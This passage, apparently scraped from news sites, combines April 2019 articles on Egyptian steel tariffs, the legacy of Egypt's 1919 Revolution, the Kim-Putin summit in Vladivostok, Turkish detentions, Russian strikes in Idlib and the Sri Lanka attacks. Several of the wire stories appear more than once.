was taken in response to a complaint by three local steel factories, Ezz Steel, Suez Steel and Al-Marakby Steel, requesting that duties be imposed on imported steel because of the negative impacts on local production and harm to sales. The complaint said that steel imports had increased during the first half of 2018 by 31 per cent compared to the same period in 2017. Moreover, it explained that a clear difference in prices between locally produced steel and imported steel, averaging $80 per ton, had led to the accumulation of large amounts of local steel, averaging around 500,000 tons. In reaction, the government notified the World Trade Organisations (WTO) Committee of Safeguards on 2 April that it had started a safeguard investigation on semi-finished products of iron and steel rebar being used for construction purposes. Under WTO rules, a safeguard investigation seeks to determine whether increased imports of a product are causing, or are threatening to cause, serious injury to a domestic industry. A WTO member may take a safeguard action, such as restricting imports of a product temporarily, only if the increased imports of the product in question are found to be causing, or threatening to be causing, serious injury. However, this safeguard action should be for a limited time. Following a preliminary investigation, the Ministry of Industry and Foreign Trade said that the imports had a negative impact on the local industry and issued a decree imposing tariffs temporarily for six months until the investigations end. While the decision was welcomed by the steel factories which presented the complaint and a few others producing billets and steel rebar, it was problematic for other factories depending on the use of imported billets to manufacture steel rebar. They said the local production of billets did not cover the manufacture of the total annual consumption of steel rebar. In 2018, Egypt imported three million tons of billets to cover the gap between production and consumption. Tarek Al-Gioshi, a member of the Chamber of Metallurgical Industries and CEO of Al-Gioshi Steel, said that imposing tariffs on steel rebar as finished products was a good thing as it protected the local industry from the dumping of imports. As for billets, he believed that a 15 per cent duty was exaggerated and that it would be better if the government reduced it to five per cent. He added that imposing 15 per cent duties on billets, a raw material for manufacturing steel rebars, meant an increase in the total cost price. The market would never accept such a high increase, so this could mean losses that could lead to closing businesses, he said. Factories harmed by the decision had presented complaints to the Federation of Egyptian Industries, the ministry of industry and foreign trade, and the prime minister requesting the cancelation of duties on billets until the investigation was finished. According to Al-Gioshi, the share of these factories represents 20 to 25 per cent of market needs. Mohamed Eleiwa, managing director of Misr Steel and Iron Industries, agreed with Al-Gioshi that imposing 15 per cent duties on steel billets for six months would mean the closure of 22 factories or rolling mills. Eleiwa asserted that the data concerning the volume of steel imports included in the complaint were unclear and inaccurate, and that the customs and tax authorities had been asked to send documented figures showing steel imports during the past two years. Factories that have been harmed have the right to file a suit or introduce a complaint within 35 days after the issuance of a decree. We will do our best to clarify the information and reach a settlement to continue our business in an environment that allows for fair competition, Eleiwa said. Total investment in these factories is around LE3.5 billion, and they employ 150,000 workers and represent 55 per cent of total production capacity for steel rebar in Egypt, according to Eleiwa. If the 22 factories close, steel rebar production will be monopolised by a few giant factories, causing an increase in steel prices for development and construction projects in Egypt. Moreover, Eleiwa said that the sudden application of the decree had been a blow to the market as well as the factories and had resulted in an increase in prices. Steel rebar prices have already increased after the application of the decision from LE1,150 to LE1,450 per ton, he said. Egypt took out a partial-protection procedure in December 2017 when the ministry of industry and foreign trade decided to impose tariffs ranging from between 17 to 25 per cent on steel rebar from China, Turkey, and Ukraine for five years. *A version of this article appears in print in the 25 April, 2019 edition of Al-Ahram Weekly under the headline: Steel Problems Search Keywords: Short link: '1919 was a revolution against occupation; 1952 was about eliminating social inequalities; 2011 was about rejecting corruption and sectarianism; and 2013 was about defending the identity of nation,' Ebeid told Ahram Weekly A high-profile politician, academic, former MP and former member of the Shura Council, the former upper house of Egypts parliament, Mona Makram Ebeid had always been associated with the name of her grandfather who was at the forefront of Egypts 1919 Revolution. For Ebeid, her grandfather was not just an older family member but was also a source of early political inspiration and of learning about the 1919 Revolution. When he passed away in the early 1960s about a decade after the Free Officers ousted Egypts last monarch king Farouk in the summer of 1952, there was not much left in public discourse about the 1919 Revolution. The focus of attention was the July 1952 Revolution that had brought about the top demand of the earlier one, national independence. It is true that independence came after 1952, but the beginning of the march towards independence was with the political movement that came about with the 1919 Revolution, Ebeid said in an interview with Al-Ahram Weekly. She spoke following her participation in a conference on the impact of the 1919 Revolution over the last century and its possible impact during the century to come. Late in March, the British Egyptian Society, the London Middle East Institute at the SOAS at the University of London, and the Council for British Research in the Levant organised a conference called The Egyptian Revolution of 1919: The Birth of the Modern Nation. Participants in the conference reflected on the history of the revolution and its impact on Egypt and the larger Ottoman Empire. It was a very interesting debate that looked at why and how the 1919 Revolution happened and its political legacy, Ebeid said. For her, the most significant concept that can remain inspiring a century down the road is the link between the 1919 Revolution and the concept of citizenship. It is because I think that the issue of citizenship was crucial to the spirit of the 1919 Revolution, she said. Ebeid is convinced that 1919 offered the earliest discourse on citizenship in Egypt. Egyptians wanted to be citizens of an independent country. This pursuit of citizenship, Ebeid says, was really about everyone. Often people speak about the Coptic participation in the 1919 Revolution as an act of Coptic choice, but the way I see it, it was an act of Egyptian choice and the Copts during the protests of 1919 were simply feeling that they were full citizens of a nation that they wanted to be independent, she argued. According to Ebeid, it is important to highlight this point because I think this is a core issue for all Egyptian protests and revolutions whatever form they take. 1919 was a revolution against occupation. 1952 was about the elimination of great social inequalities. 2011 was about the rejection of violence, corruption and sectarianism, and 2013 was about defending the identity of nation. The thing that links these four together, she argued, was the wish of Egyptians to be free citizens in a free country under fair governance. That path has not been easy, she admitted, partly because the path that started in 1919 was not fully pursued. I guess that when the nation had its constitution in 1923 and the state establishment was being put in place, there was a sentiment that things would follow for the rest of the requirements of a free and fair nation for all Egyptians with no discrimination based on gender, faith or ethnicity, Ebeid argued. But, she added, things were not that simple, and the path of 1919 was interrupted. Part of this related to the dispute among the leaders of the national movement that had been assembled together in the Wafd Party, she said. Ebeids own grandfather defected from the Wafd along with a group of other leaders to establish a parallel party as they declined the rigid choices made by 1919 father figure Saad Zaghloul. Even many of those who stayed on with the Wafd were gradually losing touch with the grassroots and were getting more closely associated with the palace. So, eventually this stripped the Wafd of an important element of its political focus and direction, Ebeid said. Consequently, she added, while the Wafd started with an all-inclusive call for citizenship, by the time the Free Officers ousted king Farouk it had already become closer to the palace than the people. ## Legacy of the Wafd Ebeid argued that in the years after the adoption of the 1923 constitution, the leaders of the Wafd proposed social demands some of which were later picked up by regime led by president Gamal Abdel-Nasser. One has to remember that the 1919 Revolution was never really anchored on an agenda of social demands. This related to the fact that it was essentially a call for the independence of Egypt from British colonisation, Ebeid argued. With the Free Officers coming to power, they chose to suspend all the political parties that they accused of being complacent associates of the monarchy. In January 1953, the Wafd Party was dissolved along with the other political parties in the country. It only came back to life a quarter century later when former president Anwar Al-Sadat promised to democratise the country and end the ban on the operation of the political parties. At the time, we all hoped that we would have a truly active political life that could eventually pave the way for an all-inclusive democracy, Ebeid argued. Under its last charismatic leader Fouad Serageddin, the Wafd came back to life with the hope of being at the centre of the national political scene, she said. Serageddin was also hoping to promote the values of liberalism which he thought were essential for the pursuit of democracy, especially since during the Nasser years the only political creeds that dominated, whether on the right or the left, were quite extreme, she added. According to Ebeid, the choice of Serageddin to join with the Muslim Brotherhood in a united slate for the 1984 parliamentary elections was precisely in pursuit of promoting liberalism, a concept that was for long associated with the name of the Wafd since its launch practically on the eve of the 1919 Revolution and a decade before the establishment of the Muslim Brotherhood. Serageddin was trying to bring the Muslim Brotherhood back from the culture of underground politics because he believed that this could help defuse the radicalism of the organisation which he thought had been compounded by the Nasser years when the leaders of the group were imprisoned. But it did not work because the Muslim Brotherhood opted to dominate instead, Ebeid said. Before 1952 and throughout the subsequent decades, the political parties had had little influence in promoting the call for democracy, she said. I would not say that the call of democracy was established by the 1919 Revolution. I would even argue that in as much as it failed to give sufficient attention to the wide scope of social issues, 1919 failed to promote a culture of democracy, even though it did promote the call of liberalism, Ebeid said. The high rates of illiteracy at the time were not helpful to the promotion of a culture of democracy. Liberalism, however, was a choice of the leading figures of the revolution in 1919 because those leaders had themselves embraced the concept of liberalism as they had been educated in Europe, she said. Ebeid argued that in the wake of the 2011 Revolution there was a brief moment of hope that the call for liberalism and common citizenship, also overlooked for minorities at times after 1952, would be honoured. But that was also short-lived despite the expectations, she said. A Century on A century down the road from 1919, Egypt is an independent state that has still to re-engage with liberalism and the pursuit of democracy. Ebeid is convinced it is not an impossible mission to achieve. She is also convinced that the role of political figures in connecting with the masses and paving the road ahead towards democracy is essential. This is why I think that it is important to re-introduce the upper chamber of parliament, according to the proposed constitutional amendments, Ebeid argued. This second chamber, a senate if we call it that, should allow for the input of political figures with long experience, provided of course that it comes with full parliamentary prerogatives rather than just being a consultative body. The essence of the story of the 1919 Revolution was about a nation united behind patriotic and charismatic political figures that shared one objective, she said. This spirit is something that should be recaptured today. I think it is possible, and this was partially the case in 2011 and 2013. Ebeid is impressed by the attention that the younger generations of Egyptian men and women seem to be giving to learning about the 1919 Revolution. They are really interested, and I hope they will get to learn a lot about this very inspiring moment in our political history because there is a lot to be learned there, she argued. When she herself was growing up, Ebeid learned almost nothing at school about the 1919 Revolution. It was not there in the school books after 1952. The way I learned about this revolution was from going to the house of Makram Ebeid where photographs of the revolution were all over the walls and I would ask him endless questions about each, she recalled. When the young of today learn about the 1919 Revolution, Ebeid hopes that they will learn enough about the role and influence of Makram Ebeid, who in her view was never given due credit for his patriotic leadership. It would be unfortunate if an abridged recollection of history continues to prevail. The lessons of history are important for all nations, and for the lessons to be learned the history has to be properly and fairly told, examined and criticised, she argued. This is why I think we need to be thorough in remembering the 1919 Revolution rather than just marking the occasion. *A version of this article appears in print in the 25 April, 2019 edition of Al-Ahram Weekly under the headline: A legacy of liberalism Search Keywords: Short link: N.Korea's Kim to Putin: US acted in 'bad faith' at Hanoi talks Vladivostok, Russia, April 25 (AFP) Apr 25, 2019 At his first summit with Russia's Vladimir Putin, North Korean leader Kim Jong Un accused the United States of acting in "bad faith" at their most recent talks, state media in Pyongyang said Friday. Kim and Putin met Thursday in the far eastern Russian port of Vladivostok, for their first summit -- squarely aimed at countering US influence as Kim faces off with Donald Trump over Pyongyang's nuclear arsenal. Putin was keen to put Moscow forward as a player in a new global flashpoint -- and it appears Kim was eager to take him up on the idea, during talks described by KCNA as "unreserved and friendly". The two leaders greeted each other warmly, shaking hands and sharing smiles, at the start of meetings on an island off Vladivostok that lasted nearly five hours. Putin, known for delaying meetings with international guests, was waiting for Kim when he emerged from his limousine. During the talks, Kim said "the situation on the Korean peninsula and the region is now at a standstill and has reached a critical point," the Korean Central News Agency said. He warned that the situation "may return to its original state as the US took an unilateral attitude in bad faith at the recent second DPRK-US summit talks", the agency added. "Peace and security on the Korean peninsula will entirely depend on the US future attitude, and the DPRK will gird itself for every possible situation," KCNA quoted Kim as saying. The Kim-Trump summit broke down in late February without a deal on North Korea's nuclear arsenal. At those talks, cash-strapped Pyongyang demanded immediate relief from sanctions, but the two sides disagreed over what the North was prepared to give up in return. Russia has already called for the sanctions to be eased, while the US has accused it of trying to help Pyongyang evade some of the measures -- accusations Moscow denies. Just a week ago, Pyongyang demanded the removal of US Secretary of State Mike Pompeo from the stalled nuclear talks, accusing him of derailing the process. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supports efforts to reduce tensions on the Korean peninsula and prevent nuclear conflicts. But he also insisted that the North needed "guarantees of its security, the preservation of its sovereignty". "We need to... return to a state where international law, not the law of the strongest, determines the situation in the world," Putin said. - 'New heyday' - Kim said he hoped to usher in a "new heyday" in ties between Pyongyang and Moscow. Both men said they were looking to strengthen ties that date back to the Soviet Union's support for the founder of North Korea, Kim's grandfather Kim Il Sung. The two shared a lunch that included borscht, crab salad and venison dumplings, Russian news agency TASS reported. The North Korean leader invited Putin to visit North Korea "at a convenient time" and the invitation was "readily accepted", KCNA said. Kim, who arrived in Vladivostok aboard his armoured train, was expected to stay until Friday for cultural events that Russian media have reported will include a ballet and a visit to the city's aquarium. - 'No secrets - The meeting was Kim's first with another head of state since returning from his Hanoi summit with Trump. It followed repeated invitations from Putin after Kim embarked on a series of diplomatic overtures last year. Since March 2018, the North Korean leader has held four meetings with Chinese President Xi Jinping, three with South Korea's Moon Jae-in, two with Trump and one with Vietnam's president. Putin told reporters that he would fill in Washington on the results of the talks. "There are no secrets here, no conspiracies... Chairman Kim himself asked us to inform the American side of our position," said Putin. There were no concrete announcements or agreements in Vladivostok, but analysts said Thursday's meeting was valuable to both sides. "For North Korea, it's all about securing another exit. China talks about sanctions relief but it doesn't really put it into action," said Koo Kab-woo, a professor at the University of North Korean Studies in Seoul. "For Russia, North Korea is elevating it back to one of the direct parties, on the same footing as China." - North Korean labourers - Among the issues that were likely discussed was the fate of some 10,000 North Korean labourers working in Russia and due to leave by the end of this year under sanctions. Labour is one of North Korea's key exports and sources of cash. Pyongyang has reportedly asked Russia to continue to employ its workers after the deadline. Soon after his first election as Russian president, Putin sought to normalise relations with Pyongyang and met Kim Jong Il -- the current leader's father and predecessor -- three times, including a 2002 meeting also held in Vladivostok. China has since cemented its role as the isolated North's most important ally, its largest trading partner and crucial fuel supplier, and analysts say Kim could be looking to balance Beijing's influence. The last meeting between the leaders of Russia and North Korea came in 2011, when Kim Jong Il told then-president Dmitry Medvedev that he was prepared to renounce nuclear testing. His son has since overseen by far the country's most powerful blast to date, and launch of missiles which Pyongyang says are capable of reaching the entire US mainland. N.Korea's Kim to Putin: US acted in 'bad faith' at Hanoi talks Vladivostok, Russia, April 26 (AFP) Apr 26, 2019 North Korean leader Kim Jong Un accused the US of acting in "bad faith" at his summit with Russia's Vladimir Putin, Pyongyang's state media said Friday after he secured Moscow's backing in his standoff with Donald Trump. Kim and Putin met Thursday in the far eastern Russian port of Vladivostok for their first summit -- squarely aimed at countering US influence with Pyongyang and Washington deadlocked over the North's nuclear arsenal. Putin was keen to put Moscow forward as a player in a new global flashpoint -- and it appears Kim was eager to take him up during talks described by KCNA as "unreserved and friendly". Putin, known for delaying meetings with international guests, was waiting for Kim when he emerged from his limousine and the two leaders greeted each other warmly before nearly five hours of meetings on an island off Vladivostok. During the discussions, Kim said the Korean situation was "a standstill and has reached a critical point", the official Korean Central News Agency said. He added the US adopted a "unilateral attitude in bad faith at the recent second DPRK-US summit talks", the agency said, and that "Peace and security on the Korean peninsula will entirely depend on the US future attitude." The Kim-Trump summit broke down in late February without a deal on North Korea's nuclear arsenal, after cash-strapped Pyongyang demanded immediate relief from sanctions but the two sides disagreed over what the North was prepared to give up in return. Russia has already called for the sanctions to be eased, while the US has accused it of trying to help Pyongyang evade some of the measures -- accusations Moscow denies. Just a week ago, Pyongyang demanded the removal of US Secretary of State Mike Pompeo from the stalled nuclear talks, accusing him of derailing the process. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supports efforts to reduce tensions and prevent nuclear conflicts. But he also insisted that the North needed "guarantees of its security, the preservation of its sovereignty". It was "what the North has been saying all along" said Kim Keun-sik, professor of North Korean Studies at Kyungnam University, adding that Putin's support for Pyongyang's stance was the "biggest prize" Kim won in Vladivostok. - 'New heyday' - Both leaders said they were looking to strengthen ties that date back to the Soviet Union's support for the founder of North Korea, Kim's grandfather Kim Il Sung. The two shared a lunch that included borscht, crab salad and venison dumplings, Russian news agency TASS reported. The North Korean leader invited Putin to visit North Korea "at a convenient time" and the invitation was "readily accepted", KCNA said. "Kim met Putin because he wanted to show he had someone on his side," said Lee Woo-young, a professor at the University of North Korean Studies in Seoul. "Kim is seeking an upper hand for future talks with the US and meeting foreign leaders like Putin can help him do that." But Washington was unlikely to be swayed, he added, with analyst Kim also doubting the US would be "surprised or alarmed". Kim attended a wreath-laying at a World War II memorial to Russia's Pacific Fleet in Vladivostok on Friday, and was expected to board his armoured train later to return home. - 'No secrets - The Vladivostok summit was Kim's first with another head of state since returning from Hanoi. It followed repeated invitations from Putin after Kim embarked on a series of diplomatic overtures last year. Since March 2018, the North Korean leader has held four meetings with Chinese President Xi Jinping, three with South Korea's Moon Jae-in, two with Trump and one each with the leaders of Vietnam and Singapore. There were no concrete announcements or agreements in Vladivostok, but analysts said Thursday's meeting was valuable to both sides. "For North Korea, it's all about securing another exit. China talks about sanctions relief but it doesn't really put it into action," said Koo Kab-woo, of the University of North Korean Studies. "For Russia, North Korea is elevating it back to one of the direct parties, on the same footing as China." Soon after his first election as Russian president, Putin sought to normalise relations with Pyongyang and met Kim Jong Il -- the current leader's father and predecessor -- three times, including a 2002 meeting also held in Vladivostok. China has since cemented its role as the isolated North's most important ally, its largest trading partner and crucial fuel supplier, and analysts say Kim could be looking to balance Beijing's influence. The last meeting between the leaders of Russia and North Korea came in 2011, when Kim Jong Il told then-president Dmitry Medvedev that he was prepared to renounce nuclear testing. His son has since overseen by far the country's most powerful blast to date, and launches of missiles capable of reaching the entire US mainland. Turkey detains 115 soldiers over Gulen ties: state media Ankara, April 26 (AFP) Apr 26, 2019 Turkish police on Friday detained 115 soldiers suspected of ties to the group blamed for a 2016 coup attempt, state media reported, the latest arrests in a massive crackdown. The detentions came after the Istanbul public prosecutor issued arrest warrants for 210 active duty soldiers including five colonels, state news agency Anadolu reported. Officers detained 55 suspects in Istanbul, 60 suspects elsewhere, Anadolu said, without giving details about the remaining individuals. Those arrested are among tens of thousands of people detained over alleged links to US-based Muslim preacher Fethullah Gulen who Ankara blames for orchestrating the 2016 failed coup, which Gulen strongly denies. Since the attempted overthrow of President Recep Tayyip Erdogan, police have carried out raids across Turkey with operations almost everyday in recent months. The Istanbul public prosecutor's office said the Gulen movement, referred to by Turkish officials as the "Fethullah Terrorist Organisation," is the "terrorist group which poses the most danger to the constitutional order", Anadolu reported. The movement insists it is a peaceful group promoting education and moderate Islam. The Ankara public prosecutor's office earlier on Friday also issued detention warrants for 41 suspects in 13 provinces over alleged links to the Gulen movement. Turkish authorities say the raids are necessary to remove Gulen's influence in state institutions but activists and Western allies criticise the magnitude of the crackdown. As well as the arrests, authorities have sacked or suspended over 140,000 public sector workers including teachers, judges and soldiers. Fuzze-Flex Records/ADACollective Soul has announced a new album titled Blood. The 10th studio effort from the "Shine" rockers will arrive on June 21. You can download the first single from Blood, titled "Right as Rain," now via digital download. "'Right as Rain' is a phrase I had for a while," says lead vocalist Ed Roland, who's now going by the name E Roland. "It was one my grandmother used to tell me about -- one of those old Southern things, you know? 'C'mon, I'm gonna spank you right as rain!' I never really knew what it meant." Blood follows Collective Soul's last album, 2015's See What You Started by Continuing. Ahead of the new album's arrival, Collective Soul will launch a 25th anniversary tour alongside Gin Blossoms, starting May 25 in Atlantic City, New Jersey. Here's the Blood track list: "Nows the Time" "Over Me" "Crushed" "Right as Rain" "Them Blues" "Good Place to Start" "Observation of Thoughts" "Changed" "Big Sky" "Porch Swing" Copyright 2019, ABC Radio. All rights reserved. Egyptian President Abdel-Fattah El-Sisi and his Russian counterpart Vladimir Putin discussed the resumption of direct Russian flights to Egyptian Red Sea resorts, as well as a nuclear plant Russia will build in the country, during talks in Beijing on Friday, El-Sisis office said. The two leaders met in the Chinese capital on the sidelines of an international summit of world leaders to discuss Chinas ambitious Belt and Road Initiative. Putin and El-Sisi discussed resuming Russian flights to Egypts popular destinations of Sharm El-Sheikh and Hurghada on the Red Sea, a key topic of discussion between Egyptian and Russian officials for the last several years. The Russian president praised efforts made by the Egyptian authorities in securing airports, which will support the resumption of Russian flights after the conclusion of ongoing technical consultations between the two sides, a statement by a spokesman for El-Sisi read. Air traffic from Russia to Egypt was suspended in October 2015 after a Russian flight travelling from Egypts popular tourist resort town Sharm El-Sheikh crashed in the Sinai, killing all 224 people on board. Russian flag carrier Aeroflot restarted flights to Egypts capital Cairo in April 2018, but other flight routes remain suspended. The pair also discussed a number of joint projects including an industrial zone Russia is building in the economic zone around the Suez Canal, as well as Egypts first nuclear power plant, which Moscow is scheduled to start building in 2020 on the countrys Mediterranean cost, the spokesman said. They also talked about boosting security and counter-terrorism cooperation as well as working together in Africa, in the context of Egypts 2019 presidency of the African Union. (For more sports news and updates, follow Ahram Online Sports on Twitter at @AO_Sports and on Facebook at AhramOnlineSports.) Search Keywords: Short link: Trump says he welcomes Russia, China 'helping us' on N. Korea Washington, April 26 (AFP) Apr 26, 2019 US President Donald Trump said Friday he welcomes the roles of Russia and China in negotiating with North Korea over its nuclear arsenal. "I appreciate that Russia and China are helping us," he told reporters at the White House. Russian President Vladimir Putin held a first summit with North Korean leader Kim Jong Un on Thursday in a move seen as a response to the failure of a Kim-Trump meeting in Hanoi in February, where talks broke down without any agreement. Trump indicated that he does not see China and Russia as rivals in the struggle to influence North Korea and that they are all on the same page. "China is helping us because I think they want to. They don't need nuclear weapons right next to their country," Trump said. "I think we're doing very well with North Korea. A lot of progress is being made," he added. "I appreciated President Putin's statement yesterday. He wants to see it done also. I think there is a lot of excitement for getting a deal done with North Korea." Trump says he welcomes China, Russia help over NKorea Vladivostok, Russia, April 26 (AFP) Apr 26, 2019 President Donald Trump welcomed the roles of Russia and China in nuclear negotiations with Pyongyang on Friday, after a first summit between Vladimir Putin and Kim Jong-Un where the North Korean leader accused the US of "bad faith." "I appreciate that Russia and China are helping us," Trump told reporters at the White House, indicating he did not see the two countries as rivals in the struggle to influence North Korea. Kim Jong Un accused the US of acting in "bad faith" in talks on its nuclear arsenal, North Korean state media said Friday as he left Russia following his first summit with President Vladimir Putin. Kim's armoured train departed the Far Eastern port city of Vladivostok a day after talks that saw Putin back the North's need for "security guarantees" in its standoff with the United States. The official Korean Central News Agency reported that Kim told Putin the US had adopted a "unilateral attitude in bad faith" at a summit with US President Donald Trump two months ago in Hanoi. "Peace and security on the Korean peninsula will entirely depend on the US future attitude, and the DPRK will gird itself for every possible situation," Kim was quoted as saying. The Kim-Trump summit broke down in late February without a deal, after cash-strapped Pyongyang demanded immediate relief from sanctions but the two sides disagreed over what the North was prepared to give up in return. Russia has called for the sanctions to be eased, while the US has accused it of trying to help Pyongyang evade some of the measures -- accusations Moscow denies. Just a week ago, Pyongyang demanded the removal of US Secretary of State Mike Pompeo from the stalled nuclear talks, accusing him of derailing the process. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supported efforts to reduce tensions and prevent nuclear conflicts. - Visit cut short? - But he also insisted that the North needed "guarantees of its security, the preservation of its sovereignty". It was "what the North has been saying all along" said Kim Keun-sik, professor of North Korean Studies at Kyungnam University, adding that Putin's support for Pyongyang's stance was the "biggest prize" Kim won in Vladivostok. Putin flew on to another summit in Beijing the same day, while Kim stayed in Vladivostok and had been due to take part in a series of cultural events. But the mercurial North Korean kept officials in suspense about his post-summit plans. A wreath-laying ceremony was delayed by two hours on Friday morning, with an honour guard kept waiting and the red carpet rolled up. Kim eventually showed up and the wreath was laid. Solemn music played as he stood, hat in hand wearing a black double-breasted waistcoat. Russian media had reported that Kim would be visiting the city's aquarium and seeing a ballet, but the visit was apparently cut short. Kim instead turned up at the train station in the afternoon and, after a final departure ceremony with a military band, boarded his train and left around 3:30 pm (0530 GMT). Regional governor Oleg Kozhemyako told journalists that Kim had also been to a restaurant that his father had previously visited. The North Koreans ate Russian food and listened to "traditional Russian folk songs that they know very well and love," Kozhemyako said. "He promised to come back, he liked the city, he liked the region; we tried to do everything," Kozhemyako said The summit saw both leaders saying they were looking to strengthen ties that date back to the Soviet Union's support for the founder of North Korea, Kim's grandfather Kim Il Sung. - 'New heyday' in relations - Kim said he hoped to usher in a "new heyday" in ties between Pyongyang and Moscow. The North Korean strongman invited Putin to visit "at a convenient time" and the invitation was "readily accepted", KCNA said. "Kim met Putin because he wanted to show he had someone on his side," said Lee Woo-young, a professor at the University of North Korean Studies in Seoul. "Kim is seeking the upper hand for future talks with the US and meeting foreign leaders like Putin can help him do that." But Washington was unlikely to be swayed, he added, with analyst Kim also doubting the US would be "surprised or alarmed". The meeting was Kim Jong Un's first with another head of state since returning from the summit with Trump. It followed repeated invitations from Putin after Kim embarked on a series of diplomatic overtures last year. Since March 2018, the North Korean leader has held four meetings with Chinese President Xi Jinping, three with South Korea's Moon Jae-in, two with Trump and one with Vietnam's president. Soon after his first election as Russian president, Putin sought to normalise relations with Pyongyang and met Kim Jong Il -- the current leader's father and predecessor -- three times, including a 2002 meeting also held in Vladivostok. China has since cemented its role as the isolated North's most important ally, its largest trading partner and crucial fuel supplier, and analysts say Kim could be looking to balance Beijing's influence. burs-mm/oc/har Trump says he welcomes China, Russia help over NKorea Washington, April 26 (AFP) Apr 26, 2019 President Donald Trump on Friday welcomed Russian and Chinese help with North Korean nuclear negotiations, despite Kim Jong Un accusing the US of "bad faith" at a first summit with Vladimir Putin. "I appreciate that Russia and China are helping us," he told reporters at the White House. Putin's first summit with Kim on Thursday was seen as a response to the failure of a Kim-Trump meeting in Hanoi in February, where talks broke down without agreement. But Trump indicated that he does not see China and Russia as rivals in the struggle to get North Korea to give up its nuclear arsenal. "China is helping us because I think they want to. They don't need nuclear weapons right next to their country," Trump said. "I think we're doing very well with North Korea. A lot of progress is being made," he added. "I appreciated President Putin's statement yesterday. He wants to see it done also. I think there is a lot of excitement for getting a deal done with North Korea." Kim left his summit with Putin indicating that he has cooled on the much-touted bid by Trump to woo his country into a non-nuclear future. The official Korean Central News Agency reported that Kim told Putin the US had adopted a "unilateral attitude in bad faith" at the Hanoi summit. "Peace and security on the Korean peninsula will entirely depend on the US future attitude, and the DPRK will gird itself for every possible situation," Kim was quoted as saying. Putin backed the North's demand for "security guarantees" in its standoff with the United States over the nuclear capability, which Washington wants to see scrapped entirely, but Pyongyang fears would leave the country vulnerable. - Hitch in Trump-Kim 'love' - Trump has claimed that he and Kim have a special friendship and even "love." But their second summit, held in Hanoi, broke down in late February without a deal, after cash-strapped Pyongyang demanded immediate relief from sanctions. Russia has also called for the sanctions to be eased, while the US has accused Moscow of trying to help Pyongyang evade some of the measures. In another setback just a week ago, Pyongyang demanded the removal of US Secretary of State Mike Pompeo from the stalled nuclear talks. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supported efforts to reduce tensions and prevent nuclear conflicts. But he also insisted that the North needed "guarantees of its security, the preservation of its sovereignty". It was "what the North has been saying all along" said Kim Keun-sik, professor of North Korean Studies at Kyungnam University, adding that Putin's support for Pyongyang's stance was the "biggest prize" Kim won in Vladivostok. - Visit cut short? - Putin flew on to another summit in Beijing the same day, while Kim stayed in Vladivostok and had been due to take part in a series of cultural events. The mercurial North Korean kept officials in suspense about his post-summit plans. A wreath-laying ceremony was delayed by two hours on Friday morning, with an honour guard kept waiting and the red carpet rolled up. Kim eventually showed up and the wreath was laid. Solemn music played as he stood, hat in hand wearing a black double-breasted waistcoat. Russian media had reported that Kim would be visiting the city's aquarium and seeing a ballet, but the visit was apparently cut short. Kim instead turned up at the train station in the afternoon and, after a final departure ceremony with a military band, boarded his train and left around 3:30 pm (0530 GMT). - 'New heyday' in relations - Putin and Kim said they were looking to strengthen ties that date back to the Soviet Union's support for the founder of North Korea, Kim's grandfather Kim Il Sung. Kim said he hoped to usher in a "new heyday" in ties. The North Korean strongman invited Putin to visit "at a convenient time" and the invitation was "readily accepted", KCNA said. "Kim met Putin because he wanted to show he had someone on his side," said Lee Woo-young, a professor at the University of North Korean Studies in Seoul. "Kim is seeking the upper hand for future talks with the US and meeting foreign leaders like Putin can help him do that." But Washington was unlikely to be swayed, he added, with analyst Kim also doubting the US would be "surprised or alarmed". burs-sms/har Russian air strikes kill 10 civilians in Syria's Idlib: monitor Beirut, April 26 (AFP) Apr 26, 2019 Air strikes by regime ally Russia killed 10 civilians in the jihadist-held region of Idlib in northwestern Syria Friday, a war monitor said. The Syrian Observatory for Human Rights, a Britain-based monitor, said those killed included two children. The raids took the lives of three civilians including a boy on the outskirts of the town of Kafranbel, and seven including a girl in the town of Tal Hawash, Observatory chief Rami Abdel Rahman said. Russia and rebel-backer Turkey in September inked a buffer zone deal to prevent a massive regime offensive on the Idlib region, near the Turkish border. But the region of some three million people has come under increasing bombardment since former Al-Qaeda affiliate Hayat Tahrir al-Sham took full control of it in January. The latest air raids came as two days of talks on ending the war in Syria -- sponsored by Russia, fellow regime ally Iran, and rebel backer Turkey -- concluded in Kazakhstan. In a statement released by the three countries after the meeting, they expressed concern about HTS extending its influence in Idlib. They stressed their "determination to continue cooperation in order to ultimately eliminate" HTS and the Islamic State group, the statement said. Syria's war has killed more than 370,000 people and displaced millions since the conflict began with the repression of anti-government protests in 2011. The content herein, unless otherwise known to be public domain, are Copyright 1995-2018 - Space Media Network. All websites are published in Australia and are solely subject to Australian law and governed by Fair Use principals for news reporting and research purposes. AFP, UPI and IANS news wire stories are copyright Agence France-Presse, United Press International and Indo-Asia News Service. ESA news reports are copyright European Space Agency. All NASA sourced material is public domain. Additional copyrights may apply in whole or part to other bona fide parties. Advertising does not imply endorsement, agreement or approval of any opinions, statements or information provided by Space Media Network on any Web page published or hosted by Space Media Network. Privacy Statement Air strikes by regime ally Russia killed 10 civilians in the jihadist-held region of Idlib in northwestern Syria Friday, a war monitor said. The Syrian Observatory for Human Rights, a Britain-based monitor, said those killed in the towns of Kafranbel and Tal Hawash included two children. The air raids came as two days of talks on ending the war in Syria -- sponsored by Russia, fellow regime ally Iran, and rebel backer Turkey -- concluded in Kazakhstan. Search Keywords: Short link: What particularly causes concern is the suspicion in some quarters that the world is really not united in defeating the terrorists by N.S.Venkataraman The terrorist attacks on churches and hotels in Sri Lanka when more than 300 people died and more than 500 people were injured have shaken the world community. It is even more tragic to hear that some extremist Muslim group has claimed responsibility for this terrorist act , as if it is a matter of glory and victory. In the last few years, several terrorist attacks have taken place in India, Bangladesh, Pakistan, USA, UK, France, Belgium, Iran , Canada, Russia, Germany and in middle east countries , and others. In the case of most of such terror attacks which caused destruction of property, killing of innocent people and injuries to hundreds of people, the Muslim extremist groups have claimed responsibility or Muslim extremist groups are suspected to have caused such terror attacks. Almost all people across the world do wonder as to what is the objective of those indulging in such terrorist acts and who really gain by such insane acts, while the enormous damage caused is very much evident. It is particularly sad that most of such terrorist acts were caused by extremist Muslim groups, though the recent attacks on the mosque in Newzealand is an exception. The net result of the situation is the rapidly spreading impression in the world that members belonging to Islamic groups are causing such havoc. Now, it appears that there is a war between the violent and extremist Muslim groups and rest of the world,. There is absolutely no doubt that Islam is a great religion like other religions. The holy Quron has never advocated hatred and violence. Some extremist groups in Islam seem to believe that Islam religion calls for Jihad 